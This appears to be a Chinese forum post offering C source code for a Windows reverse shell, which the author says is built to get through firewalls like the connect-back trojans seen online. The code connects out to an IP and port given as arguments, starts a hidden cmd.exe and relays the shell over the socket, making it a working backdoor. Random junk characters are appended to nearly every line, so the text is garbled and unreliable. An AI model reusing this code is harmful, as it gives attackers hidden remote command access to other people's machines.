这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1$VI\}
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/* ============================== Iq]6]
Rebound port in Windows NT Pu*HZW3l
By wind,2006/7 8VmN?"5v
===============================*/ 6a7iLQA
#include {l&2Kd*
#include %QgAilj,
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#pragma comment(lib,"wsock32.lib") ^(JHRH~=h
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void OutputShell(); SWsv,
SOCKET sClient; Mgs|*u-5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mMAr8~A=
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void main(int argc,char **argv) $cK
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{ } !<cph
WSADATA stWsaData; w
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int nRet; {U '&9_y
SOCKADDR_IN stSaiClient,stSaiServer; ENWB|@B
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if(argc != 3) ]MLLr'6?
{ y6Epi|8
printf("Useage:\n\rRebound DestIP DestPort\n"); !K3cf]2UD
return; (E}cA&{
} *.]E+MYi*
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WSAStartup(MAKEWORD(2,2),&stWsaData); fEG3b#t N
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H
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stSaiClient.sin_family = AF_INET; d3G{0PX
stSaiClient.sin_port = htons(0); 50GYL5)q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )R)$T'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lhA
s!\F
{ o-=d|dWG
printf("Bind Socket Failed!\n"); FNm6/_u3
return; d<Q+D1
} iynS4]`U
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stSaiServer.sin_family = AF_INET; hJo^Wo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y-3[KH D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L^Q+Q)zTh
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #f3 ;}1(
{ KCh
printf("Connect Error!"); Ym.l@(
return; Rs F3#H
} tkN3BQ
OutputShell(); NC.P2^%
} T$^>Fiz{Se
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void OutputShell() #}!>iFBcH
{ r d6F"W
char szBuff[1024]; q= yZx)
SECURITY_ATTRIBUTES stSecurityAttributes; n*m"L|:ff
OSVERSIONINFO stOsversionInfo; }K/}(zuy1Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TjUZv 1(L
STARTUPINFO stStartupInfo; a][pTC\ rb
char *szShell; .5!sOOs$P
PROCESS_INFORMATION stProcessInformation; %- ZR~*
unsigned long lBytesRead; mbX)'. +L
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +dgo-)kP(_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~njbLUB
stSecurityAttributes.lpSecurityDescriptor = 0; qHR^0&
stSecurityAttributes.bInheritHandle = TRUE; l!;_lH8W$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c2/R]%`)9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U +*oI *
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xQ#Akd=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (9KDtr*(2i
stStartupInfo.wShowWindow = SW_HIDE; WS1&3mOd
stStartupInfo.hStdInput = hReadPipe; prlyaq;4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G/fP(o-Wd
! 2Xr~u7a
GetVersionEx(&stOsversionInfo); rv,NQZ
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switch(stOsversionInfo.dwPlatformId) 1<W4>~,wj
{ rwL=R,
case 1: %jZp9}h
szShell = "command.com"; vLBee>$
break;
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default: 5y%un
szShell = "cmd.exe"; hY.e [+
break; jSie&V@ px
} ^Y{6;FJ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #a(%(k S
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send(sClient,szMsg,77,0); #h gmUa
while(1) H~?*KcZ 0\
{ L}}=yh6r
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =mKfFeO.
if(lBytesRead) hJw
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{ FQk_#BkK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j<ABO")v
send(sClient,szBuff,lBytesRead,0); %tzN@
} stg30><
else >'} Y1_S5
{ [y|^P\D
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; ;wJ7oj<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S2rEy2\}:
} #~H%[s a
} 5)d,G9
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return; ,7^d9v3t
}